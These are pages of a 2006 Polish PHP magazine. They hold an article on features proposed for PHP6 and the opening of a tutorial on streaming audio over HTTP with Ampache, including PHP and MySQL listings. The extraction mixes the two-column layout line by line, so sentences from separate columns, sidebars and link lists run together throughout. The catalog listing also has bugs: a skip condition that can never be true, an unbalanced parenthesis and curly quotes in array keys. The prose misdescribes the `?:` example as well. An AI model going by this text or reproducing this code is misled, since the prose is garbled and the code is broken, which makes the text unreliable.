paktowy sposób prezentuje wszystkie zasobów. Nowe podejście proponowane
kluczowe aspekty poruszane w trakcie w PHP6 polega na tym, że kwestia wspar-
wspomnianej dyskusji. Dzięki temu, bez cia dla Unicode będzie zależna od serwe-
zbędnego wysiłku, każdy zainteresowa- ra, nie od żądania. Szacuje się, że wyłą-
W SIECI ny może dowiedzieć się, jakie nowe moż- czenie wsparcia dla Unicode, w przypadku
liwości kryją się pod maską PHP6. kiedy funkcjonalność ta jest niepotrzebna
Zanim przejdziemy do szczegółów może przyśpieszyć działanie operacji na
1. http://www.corephp.co.uk należy jasno zaznaczyć jedno: nie ma stringach nawet o 300%, zaś działanie ca-
– Blog Richarda Daveya
2. http://www.php.net/~derick/ stuprocentowej gwarancji, że udogod- łej aplikacji o około 25%. Przeniesienie de-
meeting-notes.html nienia przedstawione w dalszej części ni- cyzji co do wsparcia dla Unicode do php.ini
– sprawozdanie ze
spotkania twórców PHP niejszego tekstu staną się na pewno czę- obciąża odpowiedzialnością za kontrolę tej
3. http://shiflett.org/archive/135 ścią specyfikacji PHP6. Prezentowane opcji nie użytkownika (programisty), a ad-
– informacje na temat PHP6
na blogu Chrisa Shifletta
rozwiązania należy postrzegać raczej ja- ministratora systemu, na którym urucho-
4. http://www.internetnews.com/ ko aktualną, aczkolwiek niezobowiązują- miona jest aplikacja.
dev-news/article.php/ cą wizję nowej wersji PHP. W przypadku potrzeby samodzielnego
3557711
– ogólne informacje na temat skompilowania PHP warto mieć na uwa-
PHP6 Unicode dze, że od wersji 6 wymagane będą bi-
5. http://www.zend.com/
collaboration Wsparcie dla Unicode zależy na dzień dzi- blioteki ICU (oczywiście tylko wtedy, kie-
– PHP Collaboration Project siejszy od żądania klienta. Taki stan rze- dy potrzebne jest wsparcie dla Unicode).

18 www.phpsolmag.org PHP Solutions Nr 3/2006


PHP6 Początki

System przy kompilacji ogłosi błąd, jeśli basedir pozostanie mimo wszystko czę- dl() dostępny tylko
wymagane biblioteki nie będą dostępne. ścią PHP. z poziomu SAPI
Mówiąc krótko: trzeba będzie instalować Każde SAPI będzie rejestrować użycie tej
kolejny pakiet w celu skompilowania PHP. Słowo kluczowe 'var' aliasem funkcji w razie potrzeby, przy czym jedynie
'public' CLI oraz zagnieżdżone SAPI będą mogły
Żegnamy register globals W PHP4 słowo kluczowe 'var' używane korzystać z tej funkcjonalności. W żadnym
Tak, tak... nadszedł w końcu czas, aby było wewnątrz klas. W PHP5 postępo- innym miejscu nie będzie ona dostępna.
pożegnać się z register globals. Wy- wanie takie prowadziło do powstawania
chodzi na to, że PHP6 definitywnie koń- ostrzeżenia (przy korzystaniu z trybu E_ FastCGI zawsze włączone
czy erę skryptów pisanych w stylu PHP3 STRICT). Ostrzeżenie to ma być usunię- Kod FastCGI będzie wyczyszczony i za-
(i generalnie wszelkich skryptów wyko- te w PHP6, jako że słowo kluczowe 'var' wsze włączony dla CGI SAPI. Nie będzie
rzystujących zmienne globalne). Jedy- ma być aliasem słowa kluczowego 'pu- możliwości wyłączenia tej funkcjonalności.
nym wyjściem z tej sytuacji będzie prze- blic'. Jest to miłe udogodnienie, tyle, że
pisanie istniejącego kodu w poprawny energia osób które poświeciły swój czas Długie tablice usunięte
sposób. Jest to dość śmiały, aczkolwiek na usuwanie wspomnianych ostrzeżeń Ciekaw jestem, czy Czytelnicy pamiętają
już od dawna potrzebny krok ze względu po wprowadzeniu PHP5, poszła w pew- jeszcze zmienne globalne HTTP _ * _ VARS.
na aspekt bezpieczeństwa. nym sensie na marne. Cóż, w przypadku jeśli ktoś nie używa
$ _ GET, $ _ POST, itd. – proponuję rozpo-
Magic Quotes usunięte Zwracanie przez referencję cząć to robić, gdyż bardzo prawdopodob-
Wraz z ogłoszeniem PHP6, magic qu- powoduje błąd ne jest, że od PHP6 możliwość stosowa-
otes znikną najprawdopodobniej raz na Konstrukcje w stylu $foo =& new Std- nia długich tablic będzie niedostępna (pod
zawsze. W przypadku ich użycia rzuca- Class() bądź function &foo będą rzucać groźbą wystąpienia E_CORE_ERROR
ny będzie wyjątek E_CORE_ERROR. wyjątek E_STRICT. w przypadku ich użycia).
Wprowadzone zmiany dotyczyć będą
magic _ quotes, magic _ quotes _ sybase Tryb kompatybilności zend.ze1 Zmiany w rozszerzeniach
i magic _ quotes _ gpc. usunięty Rozszerzenia XMLReader i XMLWriter
zend.ze1_compatibility _mode było za- zostaną przeniesione do podstawowej
Nigdy więcej Safe Mode wsze próbą podtrzymania starych zacho- dystrybucji i będą automatycznie włą-
Wiadomość ta ucieszy zapewne progra- wań PHP4. W związku z tym, że funkcjo- czone. Rozszerzenie ereg zostanie
mistów, których klienci domagają się włą- nalność ta nigdy w 100% nie działała po- przeniesione do PECL, co oznacza że
czania tego trybu. W tym momencie Safe prawnie, używanie jej w PHP6 będzie PCRE nie będzie możliwe do wyłącze-
Mode znika raz na zawsze. Krok ten po- prawdopodobnie zabronione, pod groźbą nia. Dzięki temu można będzie wpro-
wodowany jest właśnie złym rozumieniem wystąpienia wyjątku E_CORE_ERROR. wadzić nowe rozszerzenie do obsługi
tej funkcjonalności przez osoby postron- wyrażeń regularnych w oparciu o ICU.
ne. Wielu ludziom wydaje się, że działanie Usunięte wsparcie Niezmiernie przydatne rozszerzenie
w trybie Safe Mode w jakiś sposób zwięk- dla Freetype 1 i GD 1 Fileinfo będzie przeniesione do podsta-
sza bezpieczeństwo PHP, co oczywiście Wsparcie dla tych obydwu (bardzo, bar- wowej dystrybucji i automatycznie włą-
nie jest prawdą. Funkcjonalność open _ dzo starych) bibliotek będzie usunięte. czone.

R E K L A M A

PHP Solutions Nr 3/2006 www.phpsolmag.org 19


Początki PHP6

Rozszerzenia silnika PHP Określanie typu zmiennej na podsta- magic quotes, długie tablice czy indekso-
64-bitowy typ całkowity: PHP zostanie- wie zwracanej wartości (ang. Type-hinted wanie napisów za pomocą {} będzie zwy-
także rozszerzone o całkowicie nowy, Return Values): dostaniemy wsparcie dla czajnie zmuszać programistów do stoso-
już 64-bitowy typ całkowity (int64). Nie określania typu zmiennej na podstawie wania poprawnych technik.
będzie typu int32. zwracanej wartości. Jak dotąd, nie okre- Z drugiej strony, wiele istniejących
Goto: komenda goto nie będzie do- ślono jeszcze, jak będzie wygadać skład- skryptów po prostu przestanie dzia-
dana, za to słowo kluczowe break bę- nia dla tego mechanizmu języka, jednak łać, zaś w dużej części takich przypad-
dzie rozszerzone o statyczną etykietę. koncepcja wygląda ciekawie. ków ponowne uruchomienie aplikacji bę-
Dzięki temu można będzie użyć konstruk- Wywoływanie funkcji dynamicznych dzie, bardzo trudne i czasochłonne. Czy
cji break foo w celu wykonania skoku do jako statycznych będzie powodować błąd to źle? Osobiście, nie sądzę – podejrze-
etykiety foo: umieszczonej w kodzie źró- E_FATAL: na dzień dzisiejszy można wy- wam jednak, że z tego powodu adaptacja
dłowym. woływać zarówno metody statyczne jak i PHP6 potrwa jeszcze wolniej niż miało to
Ifsetor(): wygląda na to, że funkcjonal- dynamiczne, bez względu na to, czy są miejsce w przypadku PHP5. A to raczej
ność ta będzie usunięta (niestety). Jed- faktycznie dynamiczne czy statyczne. nie wyjdzie nikomu na dobre. Jednak wy-
nak w zastępstwie tego operator ?: nie Od PHP6 wywoływanie funkcji dynamicz- daje mi się, że taki stanowczy krok musi
będzie wymagał środkowego parametru, nych jako statycznych będzie powodować być kiedyś wykonany. Jak już raz przez to
dzięki czemu możliwe będzie używanie powstanie błędu E_FATAL. przejdziemy, wtedy będzie o wiele łatwiej
następującej konstrukcji: rozwijać PHP o dalsze kolejne właściwo-
Rozszerzenia PHP ści, o których dziś trudno nawet marzyć.
$foo = $_GET['foo'] ?: 42; APC będzie umieszczone w podstawo- Warto w tym miejscu wspomnieć
wej dystrybucji: APC będzie standardo- o przedsięwzięciu PHP Collaboration Fra-
(jeśli foo is prawdą, to $foo będzie rów- wo dołączone do podstawowej dystry- mework (projekt Eclipse PHP i Zend PHP
ne 42). Taki zapis powinien zaoszczędzić bucji PHP, jednak nie będzie automa- Framework), które skupiło wokół siebie
trochę zbędnego pisania kodu, ale osobi- tycznie włączone. wielu czołowych graczy z branży IT: IBM,
ście wydaje mi się, że jego czytelność po- Wzmacniająca łata dla PHP: ła- Oracle, MySQL czy Intel. Przedsięwzię-
zostawia wiele do życzenia. ta ta ma implementować zbiór dodatko- cie to na dzień dzisiejszy postrzegane
foreach dla tablic wielowymiarowych: wych testów powiązanych z bezpieczeń- jest jako główny motor przyszłych sukce-
to zdecydowanie miła zmiana, która po- stwem PHP. Warto wymienić następują- sów platformy PHP. Wspomniana inicja-
zwoli łatwo iterować po listach tablic. ce usprawnienia w tym zakresie: ochro- tywa bazuje aktualnie na PHP5, jednak
na przed dzieleniem odpowiedzi HTTP, w przyszłości ten albo podobne projekty
foreach( $a as $k => list($a, $b)) podział allow _ url _ fopen na dwie czę- będą zapewne wspierać PHP6.
sci: allow _ url _ fopen i allow _ url _ in- Na koniec, w ramach ciekawostki war-
{} kontra []: na dzień dzisiejszy przy od- clude, automatyczne włączenie allow _ to zaznaczyć, że twórcy PHP nie postrze-
woływaniu się do poszczególnych zna- url _ fopen i automatyczne wyłączenie gają platformy J2EE jako rywala i techno-
ków w napisach możliwe jest używa- allow _ url _ include. logii odniesienia dla dalszego rozwoju PHP.
nie zarówno notacji {} jak i []. Jednak E_STRICT dołączone z E_ALL: to Za technologię, z której chcą czerpać po-
już od PHP5.1 notacja {} będzie powo- coś naprawdę poważnego! Wiadomości mysły, uważają raczej Microsoft .NET.
dować rzucanie wyjątku E_STRICT zaś na poziomie E_STRICT będą automatycz- W związku z tym można się spodziewać,
od PHP6 będzie ona całkowicie niedo- nie dołączone do E_ALL. Jest to zdecydo- że w przyszłości wiele rozwiązań zastoso-
stępna. Dodatkowo przy pomocy [] bę- wany ruch w stronę przymusowej edukacji wanych w PHP6 będzie opierać się wła-
dzie można odwoływać się do fragmen- programistów w zakresie stosowania wła- śnie na pomysłach stosowanych w .NET.
tów napisu i korzystać z funkcjonalności ściwych praktyk programowania w PHP. Zainteresowanym polecam lektu-
oferowanej przez array _ slice (na przy- Koniec z notacją <%: oznacza to ko- rę pełnego sprawozdania ze spotkania
kład: [2,]). W mojej opinii jest to bardzo niec wspierania tagów w stylu ASP, nadal w Paryżu; jest ono dostępne pod adre-
pomocne rozszerzenie. pozostanie jednak skrócony tag <?. sem: http://www.php.net/~derick/meeting-
notes.html n
Zmiany związane Podsumowanie
z obiektowością Mówiąc krótko: PHP6 w zdecydowany
Statyczne Wiązanie (ang. Static Binding): sposób wyznacza nowe interesujące kie-
O autorze
wprowadzone będzie nowe słowo kluczo- runki i przeciera nowe ścieżki. Wygląda
we, aby pozwolić na wykonywanie póź- na to, że twórcy technologii mają ambicje Richard Davey jest programistą posia-
nych wiązań statycznych. Wywołanie wymusić stosowanie właściwych technik dającym certyfikat Zend. Pracuje głów-
nie z aplikacjami związanymi z grami
static::static2(), będzie odpowiedzial- programistycznych poprzez odrzucenie
komputerowymi. Posiada własny blog
ne za ewaluację zmiennych statycznych starego paradygmatu kodowania w sty- poświęcony PHP, dostępny pod adre-
na etapie czasu wykonania. lu: cóż, POWINIENEŚ wykonać to w ten sem http://www.corephp.co.uk. Richard
Przestrzenie nazw (ang. Namespa- sposób, ale zawsze możesz zrobić to po od 1996 programuje aplikacje webowe
i nadal zdumiony jest kierunkiem w któ-
ces): wygląda na to, że ta kwestia jest staremu. Od PHP6 nie będzie już robie-
rym rozwija się Sieć i PHP. Autor żyje
ciągle nierozstrzygnięta... trzeba jeszcze nia rzeczy po staremu. Usunięcie takich wraz z żoną w Anglii.
trochę poczekać na ostateczną decyzję. naleciałości języka jak zmienne globalne,

20 www.phpsolmag.org PHP Solutions Nr 3/2006


Techniki

Strumieniowa transmisja
dźwięku przez HTTP
z wykorzystaniem Ampache
Stopień trudności: lll
Karl Vollmer

Do stworzenia portalu multimedialnego nie


trzeba drogich, komercyjnych, wydzielonych
serwerów. Wystarczą PHP, serwer Apache oraz
baza MySQL. W artykule pokażemy kompletne
rozwiązanie umożliwiające streaming audio.

A
mpache to wydawany na licen- wimy różne metody monitorowania piose-
cji GNU General Public Licen- nek aktualnie odsłuchiwanych przez użyt-
se interfejs WWW do strumie- kowników skryptu i zachowanie różnych
niowych transmisji różnych formatów pli- klientów.
ków dźwiękowych przez protokół HTTP.
Można go także stosować do nadzoro- Robimy odtwarzacz
wania serwerów MPD, Icecast2 i Moosic Przejdźmy do skatalogowania plików
(ta funkcja Ampache jest często stosowa- dźwiękowych. Proces ten będzie się opie-
na do zdalnej obsługi domowego zestawu rał na wzorcach nazw plików – do indek-
stereo). Przez ostatnie cztery lata kod Am- sowania według danych ze znaczników
W SIECI pache odpowiedzialny za strumieniowa- ID3 potrzebny byłby skrypt getid3() (http:
nie ewoluował od wykorzystania modułu
Mod::mp3 serwera Apache do samodziel- Co powinieneś
1. http://www.faqs.org/rfcs/ nej obsługi transmisji wzbogaconej o moż-
rfc2616.html wiedzieć...
liwość transkodowania, downsamplingu Konieczna jest podstawowa znajomość
– RFC 2616 (nagłówki HTTP)
2. https://svn.ampache.org/trunk/lib/ oraz wyszukiwania strumieni przez HTTP PHP i Apache. Wskazane jest też do-
stream.lib.php i HTTPS. świadczenie w konfiguracji PHP i znajo-
– Ampache Public SVN mość terminologii związanej z audycjami
(przykłady kodu) W niniejszym artykule stworzymy apli-
internetowymi.
3. https://svn.ampache.org/trunk/play/ kację do rekursywnego katalogowania pli-
index.php
– kod źródłowy, który wykorzystali-
ków muzycznych oraz wyświetlania tych Co obiecujemy...
śmy danych. Następnie zajmiemy się transmi- Stworzymy aplikację, która przygotuje re-
4. http://www.ampache.org kursywny katalog plików dźwiękowych
sjami strumieniowymi dźwięku przez pro-
– Ampache Development oraz umożliwi ich strumieniowanie oraz
5. https://ampache.bountysource.com tokół HTTP za pomocą PHP, a potem za- downsampling.
stosujemy downsampling. Na koniec omó-

22 www.phpsolmag.org PHP Solutions Nr 3/2006


streaming audio w PHP Techniki

Wymagania Listing 1. Tabela bazy danych przechowująca dane o utworach muzycznych


l PHP 4.1.2 lub nowsze
l MySQL 3.2.3 lub nowsza z kontem CREATE TABLE `music` (
umożliwiającym stworzenie nowej `id` int(11) unsigned NOT NULL auto_increment,
bazy `file` varchar(255) NOT NULL default '',
l Serwer WWW obsługujący PHP `title` varchar(255) NOT NULL default '',
(Apache, IIS lub inny) `album` varchar (255) NOT NULL default '',
`artist` varchar(255) NOT NULL default '',
Instalacja Ampache `size` int(11) unsigned NOT NULL default '0',
l Pobierz najnowsze archiwum z
KEY `album` (`album`), KEY `artist` (`artist`),
http:/ /ampache.org /downloads /
KEY `id` (`id`), KEY `file` (`file`),
current.tar.gz i rozpakuj je do głów-
) TYPE=MyISAM;
nego katalogu serwera WWW.
l Uruchom przeglądarkę i skieruj ją
do głównego katalogu rozpakowa-
nego Ampache.
piszemy bowiem kod, który będzie auto- niekończącej się pętli, otwieramy podkata-
l Wykonuj pojawiające się polecenia.
matycznie parsował nazwę pliku i pobierał log wyłącznie wtedy, gdy jest on dowiąza-
z niej informacje o wykonawcy, albumie i niem twardym (sprawdzamy to za pomo-
//getid3.org). Dane będziemy przechowy- tytule utworu. Zmienna $pattern zdefiniu- cą is_link()).
wać w bazie danych z jedną tabelą (patrz je wzorzec parsowania nazwy, zaś za po- Wreszcie, jeżeli nazwa wskazuje na
Listing 1). Każdy z wierszy tabeli będzie mocą $tags połączymy przetworzone czę- plik, a nie na katalog, sprawdzamy za po-
zawierał informacje o tytule utworu, albu- ści z etykietami artist, album i title. średnictwem jego rozszerzenia (znajdujące-
mie, wykonawcy i rozmiarze pliku. Na koniec umieścimy wywołanie funk- go się w $GLOBALS['extension']) popraw-
cji gather_files(), która rozpocznie wy- ność pliku audio. Jeżeli plik jest popraw-
Praca nad katalogiem szukiwanie muzyki w katalogach na dys- ny, pobieramy jego dane za pomocą funkcji
Nasz skrypt katalogujący będzie nosił na- ku. Podamy jej parametr określający kata- get_file_info(), której jeszcze nie stworzyli-
zwę katalog.php (patrz Listing 2). Trze- log, w którym należy rozpocząć przeszu- śmy. Potem dodajemy te informacje do ba-
ba pamiętać, że domyślnie każdy skrypt kiwanie (w tym przypadku będzie to kata- zy danych przy użyciu kolejnej niestworzo-
PHP wygasa po 30 sekundach. Aby temu log główny). nej jeszcze funkcji – insert_file().
zapobiec (jest to konieczne w przypadku Przyszedł czas na zdefiniowanie funk-
dużych katalogów), ustawimy parametr cji gather_files(). Rozpoczyna ona swo- Potrzebne informacje
time_limit na 0 za pomocą wbudowanej je działanie od otwarcia głównego kata- Stwórzmy teraz funkcję get_file_info().
funkcji PHP set_time_limit(). logu, który zostaje podany jako parametr Funkcja ta pobierze pełną nazwę każde-
Następnie spróbujemy utworzyć połą- ($path), a następnie rekursywnie (pętla go kolejnego pliku jako swój jedyny argu-
czenie z bazą danych. Jeśli będzie to nie- while) wyszukuje w aktualnym katalogu ment i zwróci tablicę asocjacyjną z danymi
możliwe, program przestanie się wykony- pliki, których rozszerzenia są wymienione o każdym utworze muzycznym.
wać dzięki wyrażeniu or_die(). w tablicy globalnej $extensions, a zdefi- Jak już wspomniano, użyjemy wzor-
Kolejną ważną rzeczą jest zdefiniowa- niowanej wcześniej. ców i znaczników do pobrania nazwy al-
nie tablicy $extensions, zawierającej typy Funkcja pomija pliki o nazwach „.” i bumu, wykonawcy i piosenki z nazwy pli-
plików brane pod uwagę podczas prze- “..” poprzez przeskok do następnej iteracji ku. Warto byłoby dowiedzieć się, w jaki
szukiwania muzyki. Ustawiliśmy obsłu- while (przy użyciu continue). Jeżeli odnaj- sposób to działa.
gę rozszerzeń mp3, ogg i flac, ale do tej dzie podkatalog o innej nazwie, wywołuje
listy można dodać dowolne formaty pli- się sama z nazwą katalogu podaną jako Downsampling
ków. Kolejnym krokiem będzie zdefiniowa- argument. W celu uniknięcia ryzyka wska-
z użyciem zewnętrznych
nie tablicy $tags oraz zmiennej tekstowej zania na dowiązanie symboliczne i podą-
$pattern. Przydadzą się one później, na- żenia za nim, co mogłoby prowadzić do narzędzi
Mp3splt dzieli plik MP3 przed wysłaniem
go do LAME w celu ponownego zako-
dowania. Ampache umożliwia konfigu-
rację, jednak domyślne polecenie down-
samplingu wygląda następująco:

mp3splt -qnf %FILE% %OFFSET%


%EOF% -o -
| lame --mp3input -q 3 -b
%SAMPLE% -S - -

Łańcuchy między znakami % są za-


stępowane przez zmienną.
Rysunek 1. Widok albumu w Ampache

PHP Solutions Nr 3/2006 www.phpsolmag.org 23


Techniki streaming audio w PHP

Przyjrzyjmy się najpierw globalnej logami, można jednak użyć innego znaku, Na początku funkcja get_file_info()
zmiennej tekstowej $pattern. Zawiera ona na przykład myślnika (-) lub podkreślnika tworzy tablicę $results zawierającą jedno
wzorzec, który wskazuje tej funkcji, w jaki (_). W rezultacie wzorzec %a/%A/%t ozna- pole o nazwie file, które wskazuje na peł-
sposób nazwa pliku powinna zostać po- cza album/wykonawca/tytul. ną ścieżkę podaną jako parametr.
dzielona na części. Każda część jest opi- Nasza funkcja wymaga również Następnie dokonuje iteracji na wszyst-
sana kilkoma znakami (atrybutem) – tu- zdefiniowania innej zmiennej global- kich możliwych znacznikach wzorca zdefi-
taj użyjemy %t dla tytułu piosenki, %a dla nej: $GLOBALS['tags']. Jest to tablica niowanych w $GLOBALS['tags'].
albumu oraz %A dla wykonawcy. Wszyst- asocjacyjna wiążąca atrybuty z nazwa- To właśnie ta funkcja, wykorzystuje je
kie atrybuty w łańcuchu są rozdzielone mi znaczników, które będą użyte do ge- do konstrukcji wyrażeń regularnych, któ-
znakiem separatora – my używamy /, co nerowania wyników zwracanych przez re pomogą pobrać dane odpowiadające
oznacza, że części będą kolejnymi kata- funkcję. atrybutom wskazywanym przez znaczniki.
Otrzymane dane będą przechowywane w
$results pod nazwą każdego ze znaczni-
Listing 2. Zawartość /catalog.php
ków. Po zebraniu wszystkich potrzebnych
<?php informacji funkcja zwraca tablicę $results
set_time_limit(0); zawierającą nazwę pliku, album, nazwę
$dbh = mysql_connect('localhost','user','password') or die
wykonawcy i tytuł utworu.
('BŁĄD: nie można połączyć się z bazą danych');
$extensions = array('mp3','ogg','flac');
$tags = array('title'=>'%t','album'=>'%a','artist'=>'%A'); Umieszczenie informacji w bazie
$pattern = '%a/%A/%t'; //definicja wzorca nazwy pliku; ignoruje rozszerzenie danych
gather_files('/home/mymusic'); // rozpoczęcie zbierania plików Czas na utworzenie funkcji insert_file(),
function gather_files($path) {
która doda zebrane informacje (podane
$handle = opendir(stripslashes($path)); // otwiera katalog
while ( false !== ( $file = readdir($handle) ) ) { jako parametr) do bazy danych. Dane zo-
$file = addslashes($file); // konieczne do uniknięcia ' w nazwach plików staną oczyszczone, a z bazy będą pobie-
if ($file == "." AND $file == "..") { continue; } rane oddzielne elementy. Aby je uporząd-
@chdir(stripslashes($path); kować, użyjemy funkcji sql_escape(), któ-
$full_file = stripslashes($path."/".$file);
rą zresztą będziemy musieli utworzyć.
$full_file = str_replace("//","/",$full_file);
if (is_dir($full_file)) {gather_files($full_file); continue;} Jest ona dostosowana do MySQL, więc w
$info = pathinfo($full_file); // pobierz dane o pliku przypadku korzystania z innej bazy należy
if (in_array($info[‘extension’],$GLOBALS['extensions'])) { ją odpowiednio zmodyfikować. Po oczysz-
$file_info = get_file_info($full_file); // pobierz informacje o pliku czeniu elementów skorzystamy z funkcji
insert_file($file_info);}
PHP filesize() w celu pobrania rozmia-
} // zakończ, jeśli bieżący katalog
@closedir($handle); // zamknij uchwyt katalogu ru pliku — informacja ta zostanie umiesz-
} czona w rekordzie bazy danych, który
function get_file_info($full_file) { również zostanie dodany (będzie potrzeb-
$results = array('file'=>$full_file); ny podczas transmisji). Musimy też utwo-
foreach ($GLOBALS['tags'] as $name=>$tag) {
rzyć zapytanie SQL i wykonać je za pomo-
$preg_pattern = str_replace($tag,"(.+)",$GLOBALS['pattern']);
$preg_pattern = preg_replace("/\%\w/",".+",$preg_pattern); cą mysql_query() na uchwycie bazy da-
$preg_pattern = "/" . str_replace("/","\/",$preg_pattern) . "\..+/"; nych $GLOBALS['dbh']. Dzięki temu dane
preg_match($preg_pattern,$full_file,$matches); zostaną dodane do bazy.
$results[$name] = stripslashes($matches[1]);
}
return $results;
Kurtyna w górę
} Skatalogowaliśmy już muzykę i zapisali-
function insert_file($data) { śmy dane o utworach w bazie danych. Te-
$title = sql_escape($data['title']); raz musimy znaleźć sposób, aby je wy-
$album= sql_escape($data[‘album’]); świetlić. Na Listingu 3 przedstawiono pro-
$artist = sql_escape($data['artist']);
sty interfejs (index.php), który wyświetla
$file = sql_escape($data['file']);
$size = filesize($data['file']); całą kolekcję. Skrypt ten pokazuje wszyst-
$sql = "INSERT INTO `music` (`title`,`album`,`artist`,`file`,`size`) kie utwory, co mogłoby znacznie spowol-
VALUES"." ('$title','$album','$artist','$file','$size')"; nić jego wykonywanie w przypadku du-
$db_results = mysql_query($sql, $GLOBALS['dbh']); return true; żych zbiorów muzycznych, ale dla na-
}
szych potrzeb jest odpowiedni, a w dodat-
function sql_escape($string,$dbh=0) {
if (!is_resource($dbh)) { $dbh = $GLOBALS['dbh']; } ku można go łatwo rozbudować.
if (function_exists('mysql_real_escape_string')) { Połączymy się z bazą danych przy
$string = mysql_real_escape_string($string,$dbh); użyciu wyrażenia or_die(), co zatrzy-
}else { $string = mysql_escape_string($string); } ma wykonywanie skryptu w razie błędu
return $string; }
połączenia. Uchwytem bazy danych jest
?>
$GLOBALS['dbh']. Następnie wykonuje-
my proste zapytanie SELECT * FROM music

24 www.phpsolmag.org PHP Solutions Nr 3/2006


streaming audio w PHP Techniki

Wszystkie pokazane tam odnośniki do Można zauważyć, że w przypadku pli-


Listing 3. Zawartość /index.php odtwarzania wybranych utworów wska- ku FLAC rozszerzenie ma postać .ogg:
zują na /play/index.php (kod źródłowy jest to spowodowane błędem w niektó-
<?php
$dbh = mysql_connect można przeglądać pod adresem https: rych wersjach odtwarzacza Winamp. Nie
('localhost','user','password') //svn.ampache.org/trunk/play/index.php) jest on w stanie rozpoznać, co powinien
or die – jest to po prostu bardziej rozbudowana zrobić z plikiem .flac, więc musimy spra-
('BŁĄD: nie można połączyć się wersja skryptu play.php. Po uruchomieniu wić, aby traktował go jako .ogg, jednocze-
z bazą danych');
/play/index.php w przeglądarce WWW zo- śnie pozostawiając Content-Type w posta-
$sql = "SELECT * FROM music
ORDER BY title"; baczymy, że plik ten został uznany przez ci audio/x-flac – dzięki temu klient zasto-
$db_results = mysql_query aplikację za plik dźwiękowy (Rysunek 2). suje właściwy kodek.
($sql, $GLOBALS['dbh']); Stwórzmy teraz plik play.php (Listing Następnie za pomocą wyrażenia
?> 4). Będzie to kompletny skrypt, zdolny header() przekażemy mu dwa nagłówki:
<p>Oglądanie utworów:</p>
do strumieniowania plików OGG, FLAC i Content-type:, zawierający przygotowane
<dl>
<?php MP3 na podstawie ID utworu. Umożliwi dane oraz Content-Disposition: z łańcu-
while ($r = mysql_fetch_assoc( on też downsampling oraz przeszukiwanie chem rozszerzenia pliku.
$db_results)) { określonej części pliku. Wysyłanie tych nagłówków to jedna
$link = "/play.php?song_id=" Tak jak w przypadku poprzednich z najważniejszych funkcji całej aplikacji,
. $r['id'];
skryptów, zaczniemy od połączenia z ba- ponieważ zmusza ona aplikację kliencką,
$name = $r['album'] . ' - ' .
$r['artist'] . ' - ' . zą. Następnie pobierzemy dane utworu z aby uznała plik za dźwiękowy, choć w rze-
$r['title'] bazy danych za pomocą ID przekazanego czywistości jest to plik PHP.
?> do skryptu. Typ pliku ustawimy na podsta- Następnie powinniśmy ustawić w pliku
<dd><a href=" wie rozszerzenia pliku odczytanego z po- php.ini zmienną time_limit na 0, co za-
<?php echo $link; ?>">
la file w wynikach. Będzie to MP3, OGG pobiegnie wygaśnięciu skryptu oraz wy-
<?php echo $name; ?></a></dd>
<?php } // end while loop ?> lub FLAC — przygotujemy też odpowied- łączyć magic quotes podczas uruchamia-
</dl> ni nagłówek Content-type (audio/mpeg, nia (set_magic_quotes_runtime(0)), aby
application/x-ogg lub audio/x-flac). zabezpieczyć fread(). Teraz otwieramy

ORDER BY title, które wybierze wszystkie


wiersze z tabeli music i poukłada je we-
Now Playing
Now Playing (Teraz odtwarzane) to popularna funkcja Ampache, która umożliwia obserwo-
dług tytułu (pole title). wanie aktualnie transmitowanych plików. Została ona dodana w marcu 2004 r. i była jed-
Potem za pomocą wyrażenia while() ną z trudniejszych do zaimplementowania opcji. Trudność wynika z pasywnej natury HTTP
dokonamy iteracji na zwróconych wy- i różnic między aplikacjami klienckimi. Istnieją dwa podstawowe typy klientów – chciwe i
uprzejme. Chciwe klienty, na przykład Windows Media Player, próbują pobrać plik najszyb-
nikach. Dla każdego wiersza zostanie
ciej, jak to możliwe. Klienty uprzejme, takie jak XMMS, pobierają tylko dane potrzebne do
utworzony odsyłacz ($link) do skryp- zapełnienia bufora.
tu play.php, który stworzymy później, ra- Funkcja Now Playing wymaga wspólnego miejsca (np. bazy danych) przechowywania da-
zem z ID aktualnej piosenki jako parame- nych operacyjnych. Istnieje kilka algorytmów określania aktualnie odtwarzanego na serwe-
rze utworu. Podstawowa metoda jest następująca:
trem. Razem z $link zostanie utworzony
łańcuch $name, zawierający informacje o l przechowywanie rekordu z unikalnym ID i czasem wygaśnięcia równym time()
aktualnym utworze, albumie, wykonawcy + długość utworu,
i tytule wyświetlane przy każdym odsyła- l garbage collection na utworach, które wygasły.
czu. Dzięki temu skrypt wyświetli komplet- Druga metoda wykorzystuje wywołanie ignore_user_abort(TRUE), co powoduje zignoro-
ny odsyłacz. wanie przez PHP sygnału przerwania wysyłanego przez klienta i wyczyszczenie pamięci
na samym końcu skryptu. Metoda ta pozwala uniknąć wielu wpisów Now Playing w przy-
Transmisja strumieniowa: padku, gdy użytkownik nacisnął next przed końcem utworu – nie działa jednak z chciwy-
mi klientami, które zamykają połączenie na długo przed końcem piosenki. Ampache wyko-
niech gra muzyka rzystuje algorytm stosowany przez inne popularne internetowe szafy grające, który jest po-
Przejdźmy teraz do właściwej transmisji. łączeniem dwóch metod. Załóżmy, że w jakiś sposób monitorujemy użytkowników i mamy
Jak już wspomniano, stworzymy skrypt następującą strukturę tabeli MySQL:
play.php, który zajmie się transmisją wy-
`id` int(11) unsigned NOT NULL auto_increment
branego pliku. Warto zauważyć, że nie `session` varchar(64) default NULL
możemy strumieniować pliku w tym sa- `song` varchar(255) default NULL
mym skrypcie, który generuje interfejs `expire` int(11) unsigned NOT NULL default '0'
– transmisja opiera się na manipulacji na-
Kiedy strumień zostaje wywołany, serwer wykrywa wartość User Agent przez sprawdze-
główkami HTTP, która byłaby niemożliwa nie globalnej $_SERVER[HTTP_USER_AGENT]. W przypadku chciwego klienta serwer ustawia
w obrębie jednego skryptu. czas wygaśnięcia na time()+song_length. W innym wypadku ustawia go na time() +
Poprzez te manipulacje informuje- 86400, czyli dobę od danej chwili. Następnie sprawdzamy, czy klient jest chciwy i czy użyt-
my przeglądarkę, że udostępniany jest kownik odtwarza już utwór. Jeśli spełnione są oba warunki, usuwamy poprzedni rekord.
Dotyczy to sytuacji, kiedy zostaje naciśnięty przycisk Next przed końcem utworu. ignore_
plik dźwiękowy, a nie skrypt PHP. Na user_abort(TRUE) jest używane w przypadku uprzejmych klientów. Na samym końcu
Rysunku 1 przedstawiono widok albu- skryptu, jeśli klient nie jest chciwy, usuwany jest wpis dodany w czasie otwarcia strumienia.
mu w Ampache (za http://ampache.org).

PHP Solutions Nr 3/2006 www.phpsolmag.org 25


Techniki streaming audio w PHP

plik z utworem. Jeżeli opcja PHP Safemode


ma wartość On, funkcja set_time_limit()
nie zadziała. Jedynym obejściem tego
